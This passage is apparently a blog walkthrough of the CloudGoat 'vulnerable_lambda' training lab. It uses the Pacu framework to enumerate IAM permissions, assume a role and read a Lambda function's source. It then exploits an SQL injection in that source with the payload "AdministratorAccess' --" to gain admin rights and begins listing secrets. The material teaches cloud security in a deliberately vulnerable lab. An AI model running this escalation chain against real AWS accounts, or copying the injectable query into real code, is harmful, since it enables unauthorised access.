cloudgoat_output_aws_account_id = <account_id> 
cloudgoat_output_bilbo_access_key_id = AKIAZQ3DQJ3M34LJ5K7U 
cloudgoat_output_bilbo_secret_key = 78MEA/5OLO4QvSGz61eg******************** 
profile = cloudgoat 
scenario_cg_id = vulnerable_lambda_cgidsr4kzoh3iq 

Upon successful deployment, it is time to hack ourselves!

Engaging with Pacu

Firing up Pacu, we create a new session aptly named after our target environment, “vulnerable_lambda”.

$ pacu 
 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⠛⠉⠁⠀⠀⠈⠙⠻⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⡿⣿⣿⣷⣦⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣈⣉⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠿⢿⣿⣷⣦⣄⠀⠀⠈⠛⠋⠀⠀⠀⠈⠻⣿⣷⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣈⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣀⣤⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣆⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣬⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢛⣉⣉⣡⣄⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣶⣄⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣁⣤⣶⡿⣿⣿⠉⠻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣧⡀ 
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣠⣶⣿⡟⠻⣿⠃⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣧ 
⢀⣀⣤⣴⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⢠⣾⣿⠉⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿ 
⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡟ 
⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁ 
⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⣴⣆⢀⣴⣆⠀⣼⣆⠀⠀⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⠿⠋⠀⠀ 
⠀⠀⠀⣼⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠓⠒⠒⠚⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀ 
⠀⠀⠀⣿⣿⠟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣶⡀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣷⡄⠀⢀⣾⣿⣿⣿⣿⣿⣿⣷⣆⠀⢰⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠘⠁⠀⠀⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢿⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⣿⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠸⠿⠿⠟⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢀⣀⣀⣀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡏⠉⠉⠉⠉⠀⠀⠀⢸⣿⣿⡏⠉⠉⢹⣿⣿⡇⠀⢸⣿⣿⣇⣀⣀⣸⣿⣿⣿⠀⢸⣿⣿⣿⣀⣀⣀⣿⣿⣿ 
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡟ 
⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠘⠛⠛⠃⠀⠀⠉⠛⠛⠛⠛⠛⠛⠋⠀⠀⠀⠀⠙⠛⠛⠛⠛⠛⠉⠀ 
Version: 1.5.1 
 
Found existing sessions: 
  [0] New session 
Choose an option: 0 
What would you like to name this new session? vulnerable_lambda 
Session vulnerable_lambda created. 

Next, set the keys from CloudGoat-generated credentials:

Pacu (vulnerable_lambda:No Keys Set) > set_keys 
Setting AWS Keys... 
Press enter to keep the value currently stored. 
Enter the letter C to clear the value, rather than set it. 
If you enter an existing key_alias, that key's fields will be updated instead of added. 
Key alias must be at least 2 characters 
 
Key alias [AKIAZQ3DQJ3M34LJ5K7U]: bilbo 
Access key ID [None]: AKIAZQ3DQJ3M34LJ5K7U 
Secret access key [None]: 78MEA/5OLO4QvSGz61eg******************** 
Session token (Optional - for temp AWS keys only) [None]:  
 
Keys saved to database. 
 
Pacu (vulnerable_lambda:bilbo) >  

As is tradition, time to see who we are:

Pacu (vulnerable_lambda:bilbo) > whoami 
{ 
  "UserName": null, 
  "RoleName": null, 
  "Arn": null, 
  "AccountId": null, 
  "UserId": null, 
  "Roles": null, 
  "Groups": null, 
  "Policies": null, 
  "AccessKeyId": "AKIAZQ3DQJ3M34LJ5K7U", 
  "SecretAccessKey": "78MEA/5OLO4QvSGz61eg********************", 
  "SessionToken": null, 
  "KeyAlias": "bilbo", 
  "PermissionsConfirmed": null, 
  "Permissions": { 
    "Allow": {}, 
    "Deny": {} 
  } 
} 

Not much to see here. Yet! No worries, we will fill this up with data in no time!

Unravelling the Intricacies: Enumeration

Pacu excels in information-gathering. Run the ls command, and see for yourself. But for now, let’s get back to business.

Let’s gather some information about bilbo’s permissions:

Pacu (vulnerable_lambda:bilbo) > run iam__enum_permissions 
  Running module iam__enum_permissions... 
[iam__enum_permissions] Confirming permissions for users: 
[iam__enum_permissions]   cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq... 
[iam__enum_permissions]     Confirmed Permissions for cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq 
[iam__enum_permissions] iam__enum_permissions completed. 
 
[iam__enum_permissions] MODULE SUMMARY: 
 
  Confirmed permissions for user: cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq. 
  Confirmed permissions for 0 role(s). 

So, what can we do here?

Pacu (vulnerable_lambda:bilbo) > whoami 
{ 
  "UserName": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq", 
  "RoleName": null, 
  "Arn": "arn:aws:iam::<account_id>:user/cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq", 
  "AccountId": "<account_id>", 
  "UserId": "AIDAZQ3DQJ3M2KQGNDJZC", 
  "Roles": null, 
  "Groups": [], 
  "Policies": [ 
    { 
      "PolicyName": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq-standard-user-assumer" 
    } 
  ], 
  "AccessKeyId": "AKIAZQ3DQJ3M34LJ5K7U", 
  "SecretAccessKey": "78MEA/5OLO4QvSGz61eg********************", 
  "SessionToken": null, 
  "KeyAlias": "bilbo", 
  "PermissionsConfirmed": true, 
  "Permissions": { 
    "Allow": { 
      "sts:assumerole": { 
        "Resources": [ 
          "arn:aws:iam::<account_id>:role/cg-lambda-invoker*" 
        ] 
      }, 
      "iam:listpoliciesgrantingserviceaccess": { 
        "Resources": [ 
          "*" 
        ] 
      }, 
... 

Assuming roles beginning with cg-lambda-invoker. That is an interesting find! No worries, I’ve truncated the rest because it was boring.

Time to switch hats!

Probing Further: A Deeper Dive

Running the iam__enum_users_roles_policies_groups command helps to gather details about users, roles, policies, and groups. This will help us to detection more potential privilege escalation paths.

> run   iam__enum_users_roles_policies_groups 
  Running module iam__enum_users_roles_policies_groups... 
[iam__enum_users_roles_policies_groups] Found 2 users 
[iam__enum_users_roles_policies_groups] Found 23 roles 
[iam__enum_users_roles_policies_groups] Found 0 policies 
[iam__enum_users_roles_policies_groups] Found 0 groups 
[iam__enum_users_roles_policies_groups] iam__enum_users_roles_policies_groups completed. 
 
[iam__enum_users_roles_policies_groups] MODULE SUMMARY: 
 
  2 Users Enumerated 
  2 Roles Enumerated 
  0 Policies Enumerated 
  0 Groups Enumerated 
  IAM resources saved in Pacu database. 

Sounds good, now let’s check what roles we’ve collected:

Pacu (vulnerable_lambda:bilbo) > data IAM Roles 
{ 
  "Groups": [], 
  "Policies": [], 
  "Roles": [ 
  { 
    "Arn": "arn:aws:iam::<account_id>:role/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1", 
    "AssumeRolePolicyDocument": { 
      "Statement": [ 
        { 
          "Action": "sts:AssumeRole", 
          "Effect": "Allow", 
          "Principal": { 
            "Service": "lambda.amazonaws.com" 
          }, 
          "Sid": "" 
        } 
      ], 
      "Version": "2012-10-17" 
    }, 
    "CreateDate": "Mon, 22 Jan 2024 09:08:45", 
    "MaxSessionDuration": 3600, 
    "Path": "/", 
    "RoleId": "AROAZQ3DQJ3M7SZZURA5O", 
    "RoleName": "vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
  } 
] 

Sidenote: If you need to be more sneaky, you can use a less noisy command (Yes, you can execute it directly in Pacu):

Pacu (vulnerable_lambda:bilbo) > aws iam list-roles --query 'Roles[?contains(RoleName, `cg-lambda-invoker`)]' --output json 
 
[ 
    { 
        "Path": "/", 
        "RoleName": "cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq", 
        "RoleId": "AROAZQ3DQJ3M6KT6GMLQ2", 
        "Arn": "arn:aws:iam::<account_id>:role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq", 
        "CreateDate": "2024-01-22T09:09:00Z", 
        "AssumeRolePolicyDocument": { 
            "Version": "2012-10-17", 
            "Statement": [ 
                { 
                    "Sid": "", 
                    "Effect": "Allow", 
                    "Principal": { 
                        "AWS": "arn:aws:iam::<account_id>:user/cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq" 
                    }, 
                    "Action": "sts:AssumeRole" 
                } 
            ] 
        }, 
        "MaxSessionDuration": 3600 
    } 
] 

This one allows you to get the role directly by name.

Next, naturally, is to assume the role:

Pacu (vulnerable_lambda:bilbo) > assume_role arn:aws:iam::<accound_id>:role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq 
AWS key is now vulnerable_lambda/arn:aws:sts::<accound_id>:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role. 

Then, reaffirm the permissions afforded by the role with run iam__enum_permissions.

Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > run iam__enum_permissions 
  Running module iam__enum_permissions... 
[iam__enum_permissions] Confirming permissions for roles: 
[iam__enum_permissions]   cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq... 
[iam__enum_permissions]     Confirmed permissions for cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq 
[iam__enum_permissions] iam__enum_permissions completed. 
 
[iam__enum_permissions] MODULE SUMMARY: 
 
  Confirmed permissions for 0 user(s). 
  Confirmed permissions for role: cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq. 

So what permissions do I have with the assumed role:

Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > whoami 
{ 
  "UserName": null, 
  "RoleName": "cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq", 
  "Arn": "arn:aws:sts::<account_id>:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role", 
  "AccountId": "<account_id>", 
  "UserId": "AROAZQ3DQJ3M6KT6GMLQ2:assume-role", 
  "Roles": null, 
  "Groups": null, 
  "Policies": [ 
    { 
      "PolicyName": "lambda-invoker" 
    } 
  ], 
  "AccessKeyId": "ASIAZQ3DQJ3MZKZGCH42", 
  "SecretAccessKey": "H+dnL75RwBCftB3GI/fH********************", 
  "SessionToken": "FwoGZXIvYXdzEJ3//////////wEaDKvgFBQzBycfRqkG6iKvAeWY5GroKF0s2b6rNDjKMYBbjVQ1+Fc568vgUHLkAb1C1JB2CaIfkFPuol0TpoJ8bK8QtOwkgGSTmYWZIj2fLtOV4L0uz6uik9y06NqFd57kZvrN3G42Jol9d4fsCI29/yJ6B/m/AKJxWpm9jFsgq41cMYH63JvURjIAOnNarYvymtkEhl0fIwx1Y/r2Iy9/KEy9Kd4WUBp9M5YG110eDB94IzmetDcPxxsqu+rzs/go1Z65rQYyLfM87iUrvgXY+CfSXWLhIupq6Qp0r19ARTugyn7Y+FQsviTkUUwn3AiBpOhVYA==", 
  "KeyAlias": "vulnerable_lambda/arn:aws:sts::<account_id>:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role", 
  "PermissionsConfirmed": true, 
  "Permissions": { 
    "Allow": { 
      "lambda:invokefunction": { 
        "Resources": [ 
          "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
        ] 
      }, 
      "lambda:getpolicy": { 
        "Resources": [ 
          "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
        ] 
      }, 
      "lambda:listfunctioneventinvokeconfigs": { 
        "Resources": [ 
          "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
        ] 
      }, 
      "lambda:getfunction": { 
        "Resources": [ 
          "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
        ] 
      }, 
      "lambda:listtags": { 
        "Resources": [ 
          "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
        ] 
      }, 
... 

Again, you are welcome! I’ve truncated the most boring part. It was a lot! It seems like we can invoke as well as take a look at the code. So let’s do exactly that!

Enumerating the functions with the following command:

run lambda__enum --regions us-east-1 
  Running module lambda__enum... 
[lambda__enum] Starting region us-east-1... 
[lambda__enum] Access Denied for get-account-settings 
[lambda__enum]   Enumerating data for vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   Enumerating data for aws-controltower-NotificationForwarder 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
[lambda__enum]   FAILURE: 
[lambda__enum]     MISSING NEEDED PERMISSIONS 
    [+] Secret (ENV): sns_arn= arn:aws:sns:us-east-1:<redacted_account_id>:aws-controltower-AggregateSecurityNotifications 
[lambda__enum] lambda__enum completed. 
 
[lambda__enum] MODULE SUMMARY: 
 
  2 functions found in us-east-1. View more information in the DB

Ok, looking good, let’s check the data now:

Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > data lambda 
{ 
  "Functions": [ 
    { 
      "Aliases": [], 
      "Architectures": [ 
        "x86_64" 
      ], 
      "Code": { 
        "Location": "https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/<account_id>/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1-74b0fec8-4a97-42f5-a7e5-4e08a1dceca6?versionId=AbrQM12U728mSbM8EB2CVA71KHPx6A7a&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEIv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCIF0vtXyFrsNn1%2FgU%2BAFfji7b%2Bxo1S8cneaiXkYlQtY%2FYAiBdPylMiB%2B2EdcmuY92d0UFwn2QQiwkXUDfzlOhLOCTVCq5BQhDEAQaDDQ3OTIzMzAyNTM3OSIM0jeCobPA4QxZ%2FBa0KpYFuda6OBslKCCw%2BX5wjyARAcK39gRRS9EfNftFRq2yMGAFAx2c0NbhPkEDmFUlzfCDSbni6jx4UhdZwKYCbptHO6Huj9wgcR8%2F92iDJbZze2PW7aGxUSqR8uXrZPOmDS4T096GY2orrZfBv0eidl0Ub4hBNasZvtxyhHE0wCR4%2BVH6Akr4dvQ7lZ2obpAloCGmCxgfYegk5XCTMiUp7L1hspcQJhZOtnvZ3ZGgmMbtBdUTlPNhkm52Q%2FppCtwu%2BwSH%2FtFhbkl5K0QhehVgommT05NtIU%2FE1c8wI58mKiQbBWGFkYpKPEHLlyix78uXRyVydTWKi0GClljP8%2FX%2Fg5r5b0xnJSenm9WrKH%2FrdGPF9ZVkyyDM7RHXSPnf%2FjJxiqtHhwuvdZXfjAOmZyBZhL9%2FIrsuHMQqvI%2FKG8VVSfcpyRYOr8hc50SuhHdSRN4s5mPNtSdanpfgbxeIuEvS%2Bid4NJ227oKXZL0vbGyH7ePOcuUq%2F%2FVgFB05PXONw4KELERPacGVN2G8%2Fs0hLdOD4WOOh4MpZRdlcUnKhIEr3vteIAQepcC1x%2FshMRfFHFEtxJYqQ5ZniZ1D6eBb9RTfgfBITfqt6jLPZ98Fxc2KTWv%2F3MeXI0a309%2BNjsJzodAqsJkCprDJqjnON2U%2BYHq9pAr4LM%2F%2BT2xM7Xqnw5MXiZROFdIdvtIXbxyS%2FpbwLQ5tG4o6Djy%2FpkQ%2BAINV7RcPgLmDy9EWrLefCljCs8GfavXLjy9a4z7Md6dGrMQZ%2FOxjE9cOYvpFynVif8g33lPmRho1QFo3hCVWrAvyRm812O2YARXTZRw3j6SyFOHMxWOE6zf%2FUbEuRZj5FCPE6YF6IeOkj3qZC0WbsNDA2Rt%2Fu%2F0uqEcL%2FRS%2BEoIws%2F%2B4rQY6sgEAv0MRiEXShsQZV%2B%2FFuywDIVANfVl98eT87G6jEp3QfdloB9Vwa%2BJXD9i7KK3wDwrurR33C2b%2F%2FtuzbEfZk%2BahMa6bsyWwdh6uFdAsAigzUmbeBqG83Tz1E4XIzhHaunVuXT89lBwVMUEUjUwGyJER2cf5R%2F7SwqKiUBkR7pTWVlKrCQU46giPbiPMoVA%2FisNZrV8rstIYLy0l5HkYalLbIL%2Fwv155DjSTMH%2Bioo3w2Qvv&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20240122T112938Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAW7FEDUVRVMAKHAM5%2F20240122%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=b1d13bccc07c662c7d9905a896beab10ac09864c0f0c40ec72cff9f5eaea147f", 
        "RepositoryType": "S3" 
      }, 
      "CodeSha256": "U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=", 
      "CodeSize": 991559, 
      "Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...", 
      "EphemeralStorage": { 
        "Size": 512 
      }, 
      "EventSourceMappings": [], 
      "FunctionArn": "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1", 
      "FunctionName": "vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1", 
      "Handler": "main.handler", 
      "LastModified": "2024-01-22T09:08:54.154+0000", 
      "LoggingConfig": { 
        "LogFormat": "Text", 
        "LogGroup": "/aws/lambda/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1" 
      }, 
      "MemorySize": 128, 
      "PackageType": "Zip", 
      "Policy": [], 
      "Region": "us-east-1", 
      "RevisionId": "a676a698-649e-49a4-bd8f-b751660672ef", 
      "Role": "arn:aws:iam::<account_id>:role/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1", 
      "Runtime": "python3.9", 
      "SnapStart": { 
        "ApplyOn": "None", 
        "OptimizationStatus": "Off" 
      }, 
      "Tags": { 
        "Name": "cg-vulnerable_lambda_cgidsr4kzoh3iq", 
        "Scenario": "vulnerable-lambda", 
        "Stack": "CloudGoat" 
      }, 
      "Timeout": 3, 
      "TracingConfig": { 
        "Mode": "PassThrough" 
      }, 
      "Version": "$LATEST" 
    }, 
    { 
      "Aliases": [], 
      "Architectures": [ 
        "x86_64" 
      ], 
      "Code": [], 
      "CodeSha256": "/21kC0haUQolunH5/N+OTt8AgxyL0oYlqyio7yqrIYY=", 
      "CodeSize": 473, 
      "Description": "SNS message forwarding function for aggregating account notifications.", 
      "Environment": { 
        "Variables": { 
          "sns_arn": "arn:aws:sns:us-east-1:<redacted_account_id>:aws-controltower-AggregateSecurityNotifications" 
        } 
      }, 
      "EphemeralStorage": { 
        "Size": 512 
      }, 
      "EventSourceMappings": [], 
      "FunctionArn": "arn:aws:lambda:us-east-1:<account_id>:function:aws-controltower-NotificationForwarder", 
      "FunctionName": "aws-controltower-NotificationForwarder", 
      "Handler": "index.lambda_handler", 
      "LastModified": "2024-01-09T08:35:39.854+0000", 
      "LoggingConfig": { 
        "LogFormat": "Text", 
        "LogGroup": "/aws/lambda/aws-controltower-NotificationForwarder" 
      }, 
      "MemorySize": 128, 
      "PackageType": "Zip", 
      "Policy": [], 
      "Region": "us-east-1", 
      "RevisionId": "c21d6858-ae99-4e33-bb4e-cea3868c1d68", 
      "Role": "arn:aws:iam::<account_id>:role/aws-controltower-ForwardSnsNotificationRole", 
      "Runtime": "python3.9", 
      "SnapStart": { 
        "ApplyOn": "None", 
        "OptimizationStatus": "Off" 
      }, 
      "Tags": [], 
      "Timeout": 60, 
      "TracingConfig": { 
        "Mode": "PassThrough" 
      }, 
      "Version": "$LATEST" 
    } 
  ] 
} 

This time I didn’t truncate anything, happy now? 😜

Infiltration Success: Commandeering Lambda Functions

I’m always down to read some code, are you?

import boto3 
from sqlite_utils import Database 
 
db = Database("my_database.db") 
iam_client = boto3.client('iam') 
 
 
# db["policies"].insert_all([ 
#     {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'},  
#     {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AdministratorAccess", "public": 'False'} 
# ]) 
 
 
def handler(event, context): 
    target_policys = event['policy_names'] 
    user_name = event['user_name'] 
    print(f"target policys are : {target_policys}") 
 
    for policy in target_policys: 
        statement_returns_valid_policy = False 
        statement = f"select policy_name from policies where policy_name='{policy}' and public='True'" 
        for row in db.query(statement): 
            statement_returns_valid_policy = True 
            print(f"applying {row['policy_name']} to {user_name}") 
            response = iam_client.attach_user_policy( 
                UserName=user_name, 
                PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}" 
            ) 
            print("result: " + str(response['ResponseMetadata']['HTTPStatusCode'])) 
 
        if not statement_returns_valid_policy: 
            invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \ 
                                       f"policies and don't cheat. :) " 
            print(invalid_policy_statement) 
            return invalid_policy_statement 
 
    return "All managed policies were applied as expected." 
 
 
if __name__ == "__main__": 
    payload = { 
        "policy_names": [ 
            "AmazonSNSReadOnlyAccess", 
            "AWSLambda_ReadOnlyAccess" 
        ], 
        "user_name": "cg-bilbo-user" 
    } 
    print(handler(payload, 'uselessinfo')) 

I guess this is why we have a review process in place. Have you spotted the vulnerability?

Check line 26:

statement = f"select policy_name from policies where policy_name='{policy}' and public='True'" 

This is an unfiltered SQL statement. Which just screams “Please exploit me with SQL Injection!”.

Are we going to do that?… Of course!

Capitalizing on Vulnerabilities: SQL Injection Exploit

Naturally, we want to have AdministratorAccess. Why even go for less? All we need to do is simply, with a comment at the end of the statement, circumvent the last check and escalate our privileges.

We pass a value for a policy that does the actual injection: AdministratorAccess’ –. Python blindly inserts the value of policy into the string which leads to the following SQL command:

select policy_name from policies where policy_name='AdministratorAccess' --' and public='True' 

Let’s do this!

For readability, you can check out the payload as json here:

{ 
    "policy_names": [ 
        "AdministratorAccess' --" 
    ], 
    "user_name": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq" 
} 

I’m going to invoke the function with the payload inline via the AWS CLI with Pacu:

Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > aws lambda invoke --function-name vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1 --payload '{"policy_names": ["AdministratorAccess'"'"' --"],"user_name": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq"}' \response.json --region us-east-1 
 
{ 
    "StatusCode": 200, 
    "ExecutedVersion": "$LATEST" 
} 

Status 200! Sounds promising. Let’s see if that worked as expected. Swapping back to bilbo.

Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > swap_keys 
 
Swapping AWS Keys. Press enter to keep the currently active key. 
AWS keys in this session: 
  [1] bilbo 
  [2] vulnerable_lambda/<role_arn>/assume-role (ACTIVE) 
Choose an option: 1 
AWS key is now bilbo. 
Pacu (vulnerable_lambda:bilbo) >  

Checking the permissions post-exploit:

Pacu (vulnerable_lambda:bilbo) > aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq 
{ 
    "AttachedPolicies": [ 
        { 
            "PolicyName": "AdministratorAccess", 
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess" 
        } 
    ] 
} 

Success! We’ve got AdministratorAccess now linked to our user.

Mission Accomplished: Securing the Flag

Listing the secrets and extracting the final flag is straightforward:

Pacu (vulnerable_lambda:bilbo) > aws secretsmanager list-secrets --region us-east-1 
{ 
    "SecretList": [ 
        { 
